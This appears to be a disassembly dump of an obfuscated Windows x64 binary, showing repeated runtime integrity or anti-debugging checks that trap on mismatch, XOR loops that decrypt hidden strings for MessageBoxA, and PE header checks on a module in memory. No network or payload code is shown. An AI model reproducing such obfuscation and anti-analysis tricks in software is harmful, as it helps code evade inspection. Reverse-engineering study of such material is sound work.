mov rax, qword gs:[0x32]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024e11
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024e11
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024e31
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.1400321ac
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400ba160
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140024efc
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024edc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024edc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024efc
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140024fbb
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024f9b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024f9b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024fbb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.1400328a8
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140025073
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025053
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025053
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025073
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, rsi
jne 0x140025122
mov rax, qword gs:[0x32]
mov ecx, 0x12936b59
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025102
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025102
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025122
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14002514f
mov esi, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x140025275
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r15d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x1400251e0
movzx ecx, r10b
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r14
jb 0x1400251c2
mov rbx, qword [rbp - 0x40]
xor r15d, r15d
movabs r13, 0x810ab9c58de20e74
movabs r11, 0x8080808080808081
mov rax, qword gs:[1]
mov r14d, 0xead65452
mov esi, 0x57e6aa4
mov edi, 0x87e83ea
mov r8d, 0x2654f49
cmp rax, r14
jne 0x140025342
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025322
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025322
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025342
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400253ec
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400253cc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400253cc
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400253ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400254a5
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025485
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025485
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400254a5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x140025893
cmp rax, r14
jne 0x140025562
mov rax, qword gs:[0x32]
mov ecx, 0x12936b59
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025542
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025542
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025562
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], 0xde
mov r10, r15
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x1db121134
movabs r9, 0x3f186648e8
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1db121133
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x1400255a9
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400da9a0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400da770]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400da7d0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x27c69bf5
mov dword [rbp + 0xc8c], 0x944d88e7
mov dword [rbp + 0xc90], 0x8c21b152
mov word [rbp + 0xc94], Ordinal_50
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x71334e1964
movabs r11, 0xe2669c32c8
movabs r13, 0x810ab9c58de20e74
movabs r12, 0x8080808080808081
movabs r14, 0x1db121133
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x1400256a5
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
mov r14d, 0xead65452
cmp rax, r14
jne 0x1400257d2
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400257b2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400257b2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400257d2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rcx, qword gs:[1]
cmp rcx, r14
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025873
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025873
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
cmp rax, r14
jne 0x140025943
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025923
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025923
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025943
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movsxd rdx, dword [rbx + 0x3c]
add rdx, rbx
mov qword [rbp + 0xfe8], rdx
mov rax, qword gs:[1]
mov ebx, 0x12936b59
cmp rax, r14
jne 0x140025a00
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400259e0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400259e0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025a00
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
je 0x140025dea
cmp rax, r14
jne 0x140025ab9
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025a99
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025a99
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025ab9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], 0xde
mov r10, r15
movabs r8, 0x1f8c332474
mov r11, r12
movabs rbx, 0x1db121134
movabs r9, 0x3f186648e8
movabs r13, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1db121133
shr rdi, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, r12
cmp r8, r9
jb 0x140025b00
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400da9a0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400da790]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400da7d0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x27c69bf5
mov dword [rbp + 0xccc], 0x944d88e7
mov dword [rbp + 0xcd0], 0x8c21b152
mov word [rbp + 0xcd4], Ordinal_50
mov r9, r15
movabs r8, 0x71334e1964
mov r10d, 0x3d
movabs r11, 0xe2669c32c8
movabs r13, 0x810ab9c58de20e74
movabs r12, 0x8080808080808081
movabs r14, 0x1db121133
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, r12
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140025bfc
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[1]
mov r14d, 0xead65452
cmp rax, r14
jne 0x140025d29
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025d09
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025d09
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025d29
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140031377
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025dca
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025dca
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031377
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
cmp rax, r14
jne 0x140025e8b
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140025e6b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140025e6b
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140025e8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400da950]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x33c7b82f
mov dword [rbp + 0x98c], 0x7d568c28
mov dword [rbp + 0x990], 0x716042bd
mov word [rbp + 0x994], 0xf7df
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1db121133
movabs r9, 0x37ac1e0418
lea r10d, [rax + 0x1e]
movabs r13, 0x1db121134
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x978]
xor dil, r8b
mov byte [rbp + r8 + 0x978], dil
inc r8
add r9, r13
add r10, 0x1e
movabs rax, 0x6f583c0830
cmp r9, rax
jb 0x140025f00
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400daa80]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400da720]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x730e602a98
movabs r9, 0x398730154c
mov r10d, Ordinal_32
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r13
add r10, 0x1f
cmp r9, rbx
jb 0x140025fc1
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140031384
mov rax, qword gs:[1]
cmp rax, r14
mov ebx, 0x12936b59
mov edi, 0x57e6aa4
jne 0x14002613c
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002611c
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002611c
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002613c
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
movabs rsi, 0x810ab9c58de20e74
cmp rax, r14
jne 0x1400261f0
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400261d0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400261d0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400261f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
xor ecx, ecx
call fcn.14009bdd4
mov rcx, rax
call fcn.1400976b4
mov rax, qword gs:[1]
mov r8d, 0x87e83ea
mov r9d, 0x2654f49
cmp rax, r14
jne 0x1400262c4
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400262a4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400262a4
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400262c4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002637d
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002635d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002635d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002637d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140026436
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026416
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026416
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026436
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400264e0
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400264c0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400264c0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400264e0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002658a
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
